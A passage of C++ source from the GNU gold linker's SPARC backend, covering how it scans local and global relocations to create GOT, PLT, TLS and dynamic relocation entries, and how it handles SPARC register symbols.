case elfcpp::R_SPARC_DISP8:
case elfcpp::R_SPARC_DISP16:
case elfcpp::R_SPARC_DISP32:
case elfcpp::R_SPARC_LO10:
case elfcpp::R_SPARC_WDISP30:
case elfcpp::R_SPARC_HI22:
case elfcpp::R_SPARC_UA16:
case elfcpp::R_SPARC_UA32:
return;
default:
break;
}
}
// This prevents us from issuing more than one error per reloc
// section. But we can still wind up issuing more than one
// error per object file.
if (this->issued_non_pic_error_)
return;
gold_assert(parameters->options().output_is_position_independent());
object->error(_("requires unsupported dynamic reloc; "
"recompile with -fPIC"));
this->issued_non_pic_error_ = true;
return;
}
// Return whether we need to make a PLT entry for a relocation of the
// given type against a STT_GNU_IFUNC symbol.
template<int size, bool big_endian>
bool
Target_sparc<size, big_endian>::Scan::reloc_needs_plt_for_ifunc(
Sized_relobj_file<size, big_endian>* object,
unsigned int r_type)
{
int flags = Scan::get_reference_flags(r_type);
if (flags & Symbol::TLS_REF)
gold_error(_("%s: unsupported TLS reloc %u for IFUNC symbol"),
object->name().c_str(), r_type);
return flags != 0;
}
// Scan a relocation for a local symbol.
template<int size, bool big_endian>
inline void
Target_sparc<size, big_endian>::Scan::local(
Symbol_table* symtab,
Layout* layout,
Target_sparc<size, big_endian>* target,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
Output_section* output_section,
const elfcpp::Rela<size, big_endian>& reloc,
unsigned int r_type,
const elfcpp::Sym<size, big_endian>& lsym,
bool is_discarded)
{
if (is_discarded)
return;
bool is_ifunc = lsym.get_st_type() == elfcpp::STT_GNU_IFUNC;
unsigned int orig_r_type = r_type;
r_type &= 0xff;
if (is_ifunc
&& this->reloc_needs_plt_for_ifunc(object, r_type))
{
unsigned int r_sym = elfcpp::elf_r_sym<size>(reloc.get_r_info());
target->make_local_ifunc_plt_entry(symtab, layout, object, r_sym);
}
switch (r_type)
{
case elfcpp::R_SPARC_NONE:
case elfcpp::R_SPARC_REGISTER:
case elfcpp::R_SPARC_GNU_VTINHERIT:
case elfcpp::R_SPARC_GNU_VTENTRY:
break;
case elfcpp::R_SPARC_64:
case elfcpp::R_SPARC_32:
// If building a shared library (or a position-independent
// executable), we need to create a dynamic relocation for
// this location. The relocation applied at link time will
// apply the link-time value, so we flag the location with
// an R_SPARC_RELATIVE relocation so the dynamic loader can
// relocate it easily.
if (parameters->options().output_is_position_independent()
&& ((size == 64 && r_type == elfcpp::R_SPARC_64)
|| (size == 32 && r_type == elfcpp::R_SPARC_32)))
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
unsigned int r_sym = elfcpp::elf_r_sym<size>(reloc.get_r_info());
rela_dyn->add_local_relative(object, r_sym, elfcpp::R_SPARC_RELATIVE,
output_section, data_shndx,
reloc.get_r_offset(),
reloc.get_r_addend(), is_ifunc);
break;
}
/* Fall through. */
case elfcpp::R_SPARC_HIX22:
case elfcpp::R_SPARC_LOX10:
case elfcpp::R_SPARC_H34:
case elfcpp::R_SPARC_H44:
case elfcpp::R_SPARC_M44:
case elfcpp::R_SPARC_L44:
case elfcpp::R_SPARC_HH22:
case elfcpp::R_SPARC_HM10:
case elfcpp::R_SPARC_LM22:
case elfcpp::R_SPARC_UA64:
case elfcpp::R_SPARC_UA32:
case elfcpp::R_SPARC_UA16:
case elfcpp::R_SPARC_HI22:
case elfcpp::R_SPARC_LO10:
case elfcpp::R_SPARC_OLO10:
case elfcpp::R_SPARC_16:
case elfcpp::R_SPARC_11:
case elfcpp::R_SPARC_10:
case elfcpp::R_SPARC_8:
case elfcpp::R_SPARC_7:
case elfcpp::R_SPARC_6:
case elfcpp::R_SPARC_5:
// If building a shared library (or a position-independent
// executable), we need to create a dynamic relocation for
// this location.
if (parameters->options().output_is_position_independent())
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
unsigned int r_sym = elfcpp::elf_r_sym<size>(reloc.get_r_info());
check_non_pic(object, r_type);
if (lsym.get_st_type() != elfcpp::STT_SECTION)
{
rela_dyn->add_local(object, r_sym, orig_r_type, output_section,
data_shndx, reloc.get_r_offset(),
reloc.get_r_addend());
}
else
{
gold_assert(lsym.get_st_value() == 0);
rela_dyn->add_symbolless_local_addend(object, r_sym, orig_r_type,
output_section, data_shndx,
reloc.get_r_offset(),
reloc.get_r_addend());
}
}
break;
case elfcpp::R_SPARC_WDISP30:
case elfcpp::R_SPARC_WPLT30:
case elfcpp::R_SPARC_WDISP22:
case elfcpp::R_SPARC_WDISP19:
case elfcpp::R_SPARC_WDISP16:
case elfcpp::R_SPARC_WDISP10:
case elfcpp::R_SPARC_DISP8:
case elfcpp::R_SPARC_DISP16:
case elfcpp::R_SPARC_DISP32:
case elfcpp::R_SPARC_DISP64:
case elfcpp::R_SPARC_PC10:
case elfcpp::R_SPARC_PC22:
break;
case elfcpp::R_SPARC_GOTDATA_OP:
case elfcpp::R_SPARC_GOTDATA_OP_HIX22:
case elfcpp::R_SPARC_GOTDATA_OP_LOX10:
// We will optimize this into a GOT relative relocation
// and code transform the GOT load into an addition.
break;
case elfcpp::R_SPARC_GOT10:
case elfcpp::R_SPARC_GOT13:
case elfcpp::R_SPARC_GOT22:
{
// The symbol requires a GOT entry.
Output_data_got<size, big_endian>* got;
unsigned int r_sym;
got = target->got_section(symtab, layout);
r_sym = elfcpp::elf_r_sym<size>(reloc.get_r_info());
// If we are generating a shared object, we need to add a
// dynamic relocation for this symbol's GOT entry.
if (parameters->options().output_is_position_independent())
{
if (!object->local_has_got_offset(r_sym, GOT_TYPE_STANDARD))
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
unsigned int off = got->add_constant(0);
object->set_local_got_offset(r_sym, GOT_TYPE_STANDARD, off);
rela_dyn->add_local_relative(object, r_sym,
elfcpp::R_SPARC_RELATIVE,
got, off, 0, is_ifunc);
}
}
else
got->add_local(object, r_sym, GOT_TYPE_STANDARD);
}
break;
// These are initial TLS relocs, which are expected when
// linking.
case elfcpp::R_SPARC_TLS_GD_HI22: // Global-dynamic
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
case elfcpp::R_SPARC_TLS_LDM_HI22 : // Local-dynamic
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
case elfcpp::R_SPARC_TLS_LDO_HIX22: // Alternate local-dynamic
case elfcpp::R_SPARC_TLS_LDO_LOX10:
case elfcpp::R_SPARC_TLS_LDO_ADD:
case elfcpp::R_SPARC_TLS_IE_HI22: // Initial-exec
case elfcpp::R_SPARC_TLS_IE_LO10:
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
case elfcpp::R_SPARC_TLS_IE_ADD:
case elfcpp::R_SPARC_TLS_LE_HIX22: // Local-exec
case elfcpp::R_SPARC_TLS_LE_LOX10:
{
bool output_is_shared = parameters->options().shared();
const tls::Tls_optimization optimized_type
= optimize_tls_reloc(!output_is_shared, r_type);
switch (r_type)
{
case elfcpp::R_SPARC_TLS_GD_HI22: // Global-dynamic
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
if (optimized_type == tls::TLSOPT_NONE)
{
// Create a pair of GOT entries for the module index and
// dtv-relative offset.
Output_data_got<size, big_endian>* got
= target->got_section(symtab, layout);
unsigned int r_sym = elfcpp::elf_r_sym<size>(reloc.get_r_info());
unsigned int shndx = lsym.get_st_shndx();
bool is_ordinary;
shndx = object->adjust_sym_shndx(r_sym, shndx, &is_ordinary);
if (!is_ordinary)
object->error(_("local symbol %u has bad shndx %u"),
r_sym, shndx);
else
got->add_local_pair_with_rel(object, r_sym,
lsym.get_st_shndx(),
GOT_TYPE_TLS_PAIR,
target->rela_dyn_section(layout),
(size == 64
? elfcpp::R_SPARC_TLS_DTPMOD64
: elfcpp::R_SPARC_TLS_DTPMOD32));
if (r_type == elfcpp::R_SPARC_TLS_GD_CALL)
generate_tls_call(symtab, layout, target);
}
else if (optimized_type != tls::TLSOPT_TO_LE)
unsupported_reloc_local(object, r_type);
break;
case elfcpp::R_SPARC_TLS_LDM_HI22 : // Local-dynamic
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
if (optimized_type == tls::TLSOPT_NONE)
{
// Create a GOT entry for the module index.
target->got_mod_index_entry(symtab, layout, object);
if (r_type == elfcpp::R_SPARC_TLS_LDM_CALL)
generate_tls_call(symtab, layout, target);
}
else if (optimized_type != tls::TLSOPT_TO_LE)
unsupported_reloc_local(object, r_type);
break;
case elfcpp::R_SPARC_TLS_LDO_HIX22: // Alternate local-dynamic
case elfcpp::R_SPARC_TLS_LDO_LOX10:
case elfcpp::R_SPARC_TLS_LDO_ADD:
break;
case elfcpp::R_SPARC_TLS_IE_HI22: // Initial-exec
case elfcpp::R_SPARC_TLS_IE_LO10:
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
case elfcpp::R_SPARC_TLS_IE_ADD:
layout->set_has_static_tls();
if (optimized_type == tls::TLSOPT_NONE)
{
// Create a GOT entry for the tp-relative offset.
Output_data_got<size, big_endian>* got
= target->got_section(symtab, layout);
unsigned int r_sym = elfcpp::elf_r_sym<size>(reloc.get_r_info());
if (!object->local_has_got_offset(r_sym, GOT_TYPE_TLS_OFFSET))
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
unsigned int off = got->add_constant(0);
object->set_local_got_offset(r_sym, GOT_TYPE_TLS_OFFSET, off);
rela_dyn->add_symbolless_local_addend(object, r_sym,
(size == 64 ?
elfcpp::R_SPARC_TLS_TPOFF64 :
elfcpp::R_SPARC_TLS_TPOFF32),
got, off, 0);
}
}
else if (optimized_type != tls::TLSOPT_TO_LE)
unsupported_reloc_local(object, r_type);
break;
case elfcpp::R_SPARC_TLS_LE_HIX22: // Local-exec
case elfcpp::R_SPARC_TLS_LE_LOX10:
layout->set_has_static_tls();
if (output_is_shared)
{
// We need to create a dynamic relocation.
gold_assert(lsym.get_st_type() != elfcpp::STT_SECTION);
unsigned int r_sym = elfcpp::elf_r_sym<size>(reloc.get_r_info());
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
rela_dyn->add_symbolless_local_addend(object, r_sym, r_type,
output_section, data_shndx,
reloc.get_r_offset(), 0);
}
break;
}
}
break;
// These are relocations which should only be seen by the
// dynamic linker, and should never be seen here.
case elfcpp::R_SPARC_COPY:
case elfcpp::R_SPARC_GLOB_DAT:
case elfcpp::R_SPARC_JMP_SLOT:
case elfcpp::R_SPARC_JMP_IREL:
case elfcpp::R_SPARC_RELATIVE:
case elfcpp::R_SPARC_IRELATIVE:
case elfcpp::R_SPARC_TLS_DTPMOD64:
case elfcpp::R_SPARC_TLS_DTPMOD32:
case elfcpp::R_SPARC_TLS_DTPOFF64:
case elfcpp::R_SPARC_TLS_DTPOFF32:
case elfcpp::R_SPARC_TLS_TPOFF64:
case elfcpp::R_SPARC_TLS_TPOFF32:
gold_error(_("%s: unexpected reloc %u in object file"),
object->name().c_str(), r_type);
break;
default:
unsupported_reloc_local(object, r_type);
break;
}
}
// Report an unsupported relocation against a global symbol.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::Scan::unsupported_reloc_global(
Sized_relobj_file<size, big_endian>* object,
unsigned int r_type,
Symbol* gsym)
{
gold_error(_("%s: unsupported reloc %u against global symbol %s"),
object->name().c_str(), r_type, gsym->demangled_name().c_str());
}
// Scan a relocation for a global symbol.
template<int size, bool big_endian>
inline void
Target_sparc<size, big_endian>::Scan::global(
Symbol_table* symtab,
Layout* layout,
Target_sparc<size, big_endian>* target,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
Output_section* output_section,
const elfcpp::Rela<size, big_endian>& reloc,
unsigned int r_type,
Symbol* gsym)
{
unsigned int orig_r_type = r_type;
bool is_ifunc = gsym->type() == elfcpp::STT_GNU_IFUNC;
// A reference to _GLOBAL_OFFSET_TABLE_ implies that we need a got
// section. We check here to avoid creating a dynamic reloc against
// _GLOBAL_OFFSET_TABLE_.
if (!target->has_got_section()
&& strcmp(gsym->name(), "_GLOBAL_OFFSET_TABLE_") == 0)
target->got_section(symtab, layout);
r_type &= 0xff;
// A STT_GNU_IFUNC symbol may require a PLT entry.
if (is_ifunc
&& this->reloc_needs_plt_for_ifunc(object, r_type))
target->make_plt_entry(symtab, layout, gsym);
switch (r_type)
{
case elfcpp::R_SPARC_NONE:
case elfcpp::R_SPARC_REGISTER:
case elfcpp::R_SPARC_GNU_VTINHERIT:
case elfcpp::R_SPARC_GNU_VTENTRY:
break;
case elfcpp::R_SPARC_PLT64:
case elfcpp::R_SPARC_PLT32:
case elfcpp::R_SPARC_HIPLT22:
case elfcpp::R_SPARC_LOPLT10:
case elfcpp::R_SPARC_PCPLT32:
case elfcpp::R_SPARC_PCPLT22:
case elfcpp::R_SPARC_PCPLT10:
case elfcpp::R_SPARC_WPLT30:
// If the symbol is fully resolved, this is just a PC32 reloc.
// Otherwise we need a PLT entry.
if (gsym->final_value_is_known())
break;
// If building a shared library, we can also skip the PLT entry
// if the symbol is defined in the output file and is protected
// or hidden.
if (gsym->is_defined()
&& !gsym->is_from_dynobj()
&& !gsym->is_preemptible())
break;
target->make_plt_entry(symtab, layout, gsym);
break;
case elfcpp::R_SPARC_DISP8:
case elfcpp::R_SPARC_DISP16:
case elfcpp::R_SPARC_DISP32:
case elfcpp::R_SPARC_DISP64:
case elfcpp::R_SPARC_PC_HH22:
case elfcpp::R_SPARC_PC_HM10:
case elfcpp::R_SPARC_PC_LM22:
case elfcpp::R_SPARC_PC10:
case elfcpp::R_SPARC_PC22:
case elfcpp::R_SPARC_WDISP30:
case elfcpp::R_SPARC_WDISP22:
case elfcpp::R_SPARC_WDISP19:
case elfcpp::R_SPARC_WDISP16:
case elfcpp::R_SPARC_WDISP10:
{
if (gsym->needs_plt_entry())
target->make_plt_entry(symtab, layout, gsym);
// Make a dynamic relocation if necessary.
if (gsym->needs_dynamic_reloc(Scan::get_reference_flags(r_type)))
{
if (parameters->options().output_is_executable()
&& gsym->may_need_copy_reloc())
{
target->copy_reloc(symtab, layout, object,
data_shndx, output_section, gsym,
reloc);
}
else
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
check_non_pic(object, r_type);
rela_dyn->add_global(gsym, orig_r_type, output_section, object,
data_shndx, reloc.get_r_offset(),
reloc.get_r_addend());
}
}
}
break;
case elfcpp::R_SPARC_UA64:
case elfcpp::R_SPARC_64:
case elfcpp::R_SPARC_HIX22:
case elfcpp::R_SPARC_LOX10:
case elfcpp::R_SPARC_H34:
case elfcpp::R_SPARC_H44:
case elfcpp::R_SPARC_M44:
case elfcpp::R_SPARC_L44:
case elfcpp::R_SPARC_HH22:
case elfcpp::R_SPARC_HM10:
case elfcpp::R_SPARC_LM22:
case elfcpp::R_SPARC_HI22:
case elfcpp::R_SPARC_LO10:
case elfcpp::R_SPARC_OLO10:
case elfcpp::R_SPARC_UA32:
case elfcpp::R_SPARC_32:
case elfcpp::R_SPARC_UA16:
case elfcpp::R_SPARC_16:
case elfcpp::R_SPARC_11:
case elfcpp::R_SPARC_10:
case elfcpp::R_SPARC_8:
case elfcpp::R_SPARC_7:
case elfcpp::R_SPARC_6:
case elfcpp::R_SPARC_5:
{
// Make a PLT entry if necessary.
if (gsym->needs_plt_entry())
{
target->make_plt_entry(symtab, layout, gsym);
// Since this is not a PC-relative relocation, we may be
// taking the address of a function. In that case we need to
// set the entry in the dynamic symbol table to the address of
// the PLT entry.
if (gsym->is_from_dynobj() && !parameters->options().shared())
gsym->set_needs_dynsym_value();
}
// Make a dynamic relocation if necessary.
if (gsym->needs_dynamic_reloc(Scan::get_reference_flags(r_type)))
{
unsigned int r_off = reloc.get_r_offset();
// The assembler can sometimes emit unaligned relocations
// for dwarf2 cfi directives.
switch (r_type)
{
case elfcpp::R_SPARC_16:
if (r_off & 0x1)
orig_r_type = r_type = elfcpp::R_SPARC_UA16;
break;
case elfcpp::R_SPARC_32:
if (r_off & 0x3)
orig_r_type = r_type = elfcpp::R_SPARC_UA32;
break;
case elfcpp::R_SPARC_64:
if (r_off & 0x7)
orig_r_type = r_type = elfcpp::R_SPARC_UA64;
break;
case elfcpp::R_SPARC_UA16:
if (!(r_off & 0x1))
orig_r_type = r_type = elfcpp::R_SPARC_16;
break;
case elfcpp::R_SPARC_UA32:
if (!(r_off & 0x3))
orig_r_type = r_type = elfcpp::R_SPARC_32;
break;
case elfcpp::R_SPARC_UA64:
if (!(r_off & 0x7))
orig_r_type = r_type = elfcpp::R_SPARC_64;
break;
}
if (!parameters->options().output_is_position_independent()
&& gsym->may_need_copy_reloc())
{
target->copy_reloc(symtab, layout, object,
data_shndx, output_section, gsym, reloc);
}
else if (((size == 64 && r_type == elfcpp::R_SPARC_64)
|| (size == 32 && r_type == elfcpp::R_SPARC_32))
&& gsym->type() == elfcpp::STT_GNU_IFUNC
&& gsym->can_use_relative_reloc(false)
&& !gsym->is_from_dynobj()
&& !gsym->is_undefined()
&& !gsym->is_preemptible())
{
// Use an IRELATIVE reloc for a locally defined
// STT_GNU_IFUNC symbol. This makes a function
// address in a PIE executable match the address in a
// shared library that it links against.
Reloc_section* rela_dyn =
target->rela_ifunc_section(layout);
unsigned int r_type = elfcpp::R_SPARC_IRELATIVE;
rela_dyn->add_symbolless_global_addend(gsym, r_type,
output_section, object,
data_shndx,
reloc.get_r_offset(),
reloc.get_r_addend());
}
else if (((size == 64 && r_type == elfcpp::R_SPARC_64)
|| (size == 32 && r_type == elfcpp::R_SPARC_32))
&& gsym->can_use_relative_reloc(false))
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
rela_dyn->add_global_relative(gsym, elfcpp::R_SPARC_RELATIVE,
output_section, object,
data_shndx, reloc.get_r_offset(),
reloc.get_r_addend(), is_ifunc);
}
else
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
check_non_pic(object, r_type);
if (gsym->is_from_dynobj()
|| gsym->is_undefined()
|| gsym->is_preemptible())
rela_dyn->add_global(gsym, orig_r_type, output_section,
object, data_shndx,
reloc.get_r_offset(),
reloc.get_r_addend());
else
rela_dyn->add_symbolless_global_addend(gsym, orig_r_type,
output_section,
object, data_shndx,
reloc.get_r_offset(),
reloc.get_r_addend());
}
}
}
break;
case elfcpp::R_SPARC_GOTDATA_OP:
case elfcpp::R_SPARC_GOTDATA_OP_HIX22:
case elfcpp::R_SPARC_GOTDATA_OP_LOX10:
if (gsym->is_defined()
&& !gsym->is_from_dynobj()
&& !gsym->is_preemptible()
&& !is_ifunc)
{
// We will optimize this into a GOT relative relocation
// and code transform the GOT load into an addition.
break;
}
case elfcpp::R_SPARC_GOT10:
case elfcpp::R_SPARC_GOT13:
case elfcpp::R_SPARC_GOT22:
{
// The symbol requires a GOT entry.
Output_data_got<size, big_endian>* got;
got = target->got_section(symtab, layout);
if (gsym->final_value_is_known())
{
// For a STT_GNU_IFUNC symbol we want the PLT address.
if (gsym->type() == elfcpp::STT_GNU_IFUNC)
got->add_global_plt(gsym, GOT_TYPE_STANDARD);
else
got->add_global(gsym, GOT_TYPE_STANDARD);
}
else
{
// If this symbol is not fully resolved, we need to add a
// GOT entry with a dynamic relocation.
bool is_ifunc = gsym->type() == elfcpp::STT_GNU_IFUNC;
// Use a GLOB_DAT rather than a RELATIVE reloc if:
//
// 1) The symbol may be defined in some other module.
//
// 2) We are building a shared library and this is a
// protected symbol; using GLOB_DAT means that the dynamic
// linker can use the address of the PLT in the main
// executable when appropriate so that function address
// comparisons work.
//
// 3) This is a STT_GNU_IFUNC symbol in position dependent
// code, again so that function address comparisons work.
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
if (gsym->is_from_dynobj()
|| gsym->is_undefined()
|| gsym->is_preemptible()
|| (gsym->visibility() == elfcpp::STV_PROTECTED
&& parameters->options().shared())
|| (gsym->type() == elfcpp::STT_GNU_IFUNC
&& parameters->options().output_is_position_independent()
&& !gsym->is_forced_local()))
{
unsigned int r_type = elfcpp::R_SPARC_GLOB_DAT;
// If this symbol is forced local, this relocation will
// not work properly. That's because ld.so on sparc
// (and 32-bit powerpc) expects st_value in the r_addend
// of relocations for STB_LOCAL symbols. Curiously the
// BFD linker does not promote global hidden symbols to be
// STB_LOCAL in the dynamic symbol table like Gold does.
gold_assert(!gsym->is_forced_local());
got->add_global_with_rel(gsym, GOT_TYPE_STANDARD, rela_dyn,
r_type);
}
else if (!gsym->has_got_offset(GOT_TYPE_STANDARD))
{
unsigned int off = got->add_constant(0);
gsym->set_got_offset(GOT_TYPE_STANDARD, off);
if (is_ifunc)
{
// Tell the dynamic linker to use the PLT address
// when resolving relocations.
if (gsym->is_from_dynobj()
&& !parameters->options().shared())
gsym->set_needs_dynsym_value();
}
rela_dyn->add_global_relative(gsym, elfcpp::R_SPARC_RELATIVE,
got, off, 0, is_ifunc);
}
}
}
break;
// These are initial tls relocs, which are expected when
// linking.
case elfcpp::R_SPARC_TLS_GD_HI22: // Global-dynamic
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
case elfcpp::R_SPARC_TLS_LDM_HI22: // Local-dynamic
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
case elfcpp::R_SPARC_TLS_LDO_HIX22: // Alternate local-dynamic
case elfcpp::R_SPARC_TLS_LDO_LOX10:
case elfcpp::R_SPARC_TLS_LDO_ADD:
case elfcpp::R_SPARC_TLS_LE_HIX22:
case elfcpp::R_SPARC_TLS_LE_LOX10:
case elfcpp::R_SPARC_TLS_IE_HI22: // Initial-exec
case elfcpp::R_SPARC_TLS_IE_LO10:
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
case elfcpp::R_SPARC_TLS_IE_ADD:
{
const bool is_final = gsym->final_value_is_known();
const tls::Tls_optimization optimized_type
= optimize_tls_reloc(is_final, r_type);
switch (r_type)
{
case elfcpp::R_SPARC_TLS_GD_HI22: // Global-dynamic
case elfcpp::R_SPARC_TLS_GD_LO10:
case elfcpp::R_SPARC_TLS_GD_ADD:
case elfcpp::R_SPARC_TLS_GD_CALL:
if (optimized_type == tls::TLSOPT_NONE)
{
// Create a pair of GOT entries for the module index and
// dtv-relative offset.
Output_data_got<size, big_endian>* got
= target->got_section(symtab, layout);
got->add_global_pair_with_rel(gsym, GOT_TYPE_TLS_PAIR,
target->rela_dyn_section(layout),
(size == 64
? elfcpp::R_SPARC_TLS_DTPMOD64
: elfcpp::R_SPARC_TLS_DTPMOD32),
(size == 64
? elfcpp::R_SPARC_TLS_DTPOFF64
: elfcpp::R_SPARC_TLS_DTPOFF32));
// Emit R_SPARC_WPLT30 against "__tls_get_addr"
if (r_type == elfcpp::R_SPARC_TLS_GD_CALL)
generate_tls_call(symtab, layout, target);
}
else if (optimized_type == tls::TLSOPT_TO_IE)
{
// Create a GOT entry for the tp-relative offset.
Output_data_got<size, big_endian>* got
= target->got_section(symtab, layout);
got->add_global_with_rel(gsym, GOT_TYPE_TLS_OFFSET,
target->rela_dyn_section(layout),
(size == 64 ?
elfcpp::R_SPARC_TLS_TPOFF64 :
elfcpp::R_SPARC_TLS_TPOFF32));
}
else if (optimized_type != tls::TLSOPT_TO_LE)
unsupported_reloc_global(object, r_type, gsym);
break;
case elfcpp::R_SPARC_TLS_LDM_HI22: // Local-dynamic
case elfcpp::R_SPARC_TLS_LDM_LO10:
case elfcpp::R_SPARC_TLS_LDM_ADD:
case elfcpp::R_SPARC_TLS_LDM_CALL:
if (optimized_type == tls::TLSOPT_NONE)
{
// Create a GOT entry for the module index.
target->got_mod_index_entry(symtab, layout, object);
if (r_type == elfcpp::R_SPARC_TLS_LDM_CALL)
generate_tls_call(symtab, layout, target);
}
else if (optimized_type != tls::TLSOPT_TO_LE)
unsupported_reloc_global(object, r_type, gsym);
break;
case elfcpp::R_SPARC_TLS_LDO_HIX22: // Alternate local-dynamic
case elfcpp::R_SPARC_TLS_LDO_LOX10:
case elfcpp::R_SPARC_TLS_LDO_ADD:
break;
case elfcpp::R_SPARC_TLS_LE_HIX22:
case elfcpp::R_SPARC_TLS_LE_LOX10:
layout->set_has_static_tls();
if (parameters->options().shared())
{
Reloc_section* rela_dyn = target->rela_dyn_section(layout);
rela_dyn->add_symbolless_global_addend(gsym, orig_r_type,
output_section, object,
data_shndx, reloc.get_r_offset(),
0);
}
break;
case elfcpp::R_SPARC_TLS_IE_HI22: // Initial-exec
case elfcpp::R_SPARC_TLS_IE_LO10:
case elfcpp::R_SPARC_TLS_IE_LD:
case elfcpp::R_SPARC_TLS_IE_LDX:
case elfcpp::R_SPARC_TLS_IE_ADD:
layout->set_has_static_tls();
if (optimized_type == tls::TLSOPT_NONE)
{
// Create a GOT entry for the tp-relative offset.
Output_data_got<size, big_endian>* got
= target->got_section(symtab, layout);
got->add_global_with_rel(gsym, GOT_TYPE_TLS_OFFSET,
target->rela_dyn_section(layout),
(size == 64
? elfcpp::R_SPARC_TLS_TPOFF64
: elfcpp::R_SPARC_TLS_TPOFF32));
}
else if (optimized_type != tls::TLSOPT_TO_LE)
unsupported_reloc_global(object, r_type, gsym);
break;
}
}
break;
// These are relocations which should only be seen by the
// dynamic linker, and should never be seen here.
case elfcpp::R_SPARC_COPY:
case elfcpp::R_SPARC_GLOB_DAT:
case elfcpp::R_SPARC_JMP_SLOT:
case elfcpp::R_SPARC_JMP_IREL:
case elfcpp::R_SPARC_RELATIVE:
case elfcpp::R_SPARC_IRELATIVE:
case elfcpp::R_SPARC_TLS_DTPMOD64:
case elfcpp::R_SPARC_TLS_DTPMOD32:
case elfcpp::R_SPARC_TLS_DTPOFF64:
case elfcpp::R_SPARC_TLS_DTPOFF32:
case elfcpp::R_SPARC_TLS_TPOFF64:
case elfcpp::R_SPARC_TLS_TPOFF32:
gold_error(_("%s: unexpected reloc %u in object file"),
object->name().c_str(), r_type);
break;
default:
unsupported_reloc_global(object, r_type, gsym);
break;
}
}
// Make a new symbol table entry.
// STT_SPARC_REGISTER symbols require special handling,
// so we intercept these symbols and keep track of them separately.
// We will resolve register symbols here and output them at symbol
// finalization time.
template<int size, bool big_endian>
Sized_symbol<size>*
Target_sparc<size, big_endian>::make_symbol(const char* name,
elfcpp::STT type,
Object* object,
unsigned int shndx,
uint64_t value)
{
// REGISTER symbols are used only on SPARC-64.
if (size == 64 && type == elfcpp::STT_SPARC_REGISTER)
{
// Ignore REGISTER symbols in dynamic objects.
if (object->is_dynamic())
return NULL;
// Only registers 2, 3, 6, and 7 can be declared global.
int reg = value;
switch (reg)
{
case 2: case 3:
reg -= 2;
break;
case 6: case 7:
reg -= 4;
break;
default:
gold_error(_("%s: only registers %%g[2367] can be declared "
"using STT_REGISTER"),
object->name().c_str());
return NULL;
}
Register_symbol& rsym = this->register_syms_[reg];
if (rsym.name == NULL)
{
rsym.name = name;
rsym.shndx = shndx;
rsym.obj = object;
}
else
{
if (strcmp(rsym.name, name) != 0)
{
gold_error(_("%s: register %%g%d declared as '%s'; "
"previously declared as '%s' in %s"),
object->name().c_str(),
static_cast<int>(value),
*name ? name : "#scratch",
*rsym.name ? rsym.name : "#scratch",
rsym.obj->name().c_str());
return NULL;
}
}
return NULL;
}
return new Sized_symbol<size>();
}
// Process relocations for gc.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::gc_process_relocs(
Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_symbols)
{
typedef Target_sparc<size, big_endian> Sparc;
typedef typename Target_sparc<size, big_endian>::Scan Scan;
typedef gold::Default_classify_reloc<elfcpp::SHT_RELA, size, big_endian>
Classify_reloc;
gold::gc_process_relocs<size, big_endian, Sparc, Scan, Classify_reloc>(
symtab,
layout,
this,
object,
data_shndx,
prelocs,
reloc_count,
output_section,
needs_special_offset_handling,
local_symbol_count,
plocal_symbols);
}
// Scan relocations for a section.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::scan_relocs(
Symbol_table* symtab,
Layout* layout,
Sized_relobj_file<size, big_endian>* object,
unsigned int data_shndx,
unsigned int sh_type,
const unsigned char* prelocs,
size_t reloc_count,
Output_section* output_section,
bool needs_special_offset_handling,
size_t local_symbol_count,
const unsigned char* plocal_symbols)
{
typedef Target_sparc<size, big_endian> Sparc;
typedef gold::Default_classify_reloc<elfcpp::SHT_RELA, size, big_endian>
Classify_reloc;
if (sh_type == elfcpp::SHT_REL)
{
gold_error(_("%s: unsupported REL reloc section"),
object->name().c_str());
return;
}
gold::scan_relocs<size, big_endian, Sparc, Scan, Classify_reloc>(
symtab,
layout,
this,
object,
data_shndx,
prelocs,
reloc_count,
output_section,
needs_special_offset_handling,
local_symbol_count,
plocal_symbols);
}
// Finalize the sections.
template<int size, bool big_endian>
void
Target_sparc<size, big_endian>::do_finalize_sections(
Layout* layout,
const Input_objects*,
Symbol_table* symtab)
{
if (this->plt_)
this->plt_->emit_pending_ifunc_relocs();
// Fill in some more dynamic tags.
const Reloc_section* rel_plt = (this->plt_ == NULL
? NULL
: this->plt_->rel_plt());
layout->add_target_dynamic_tags(false, this->plt_, rel_plt,
this->rela_dyn_, true, true);
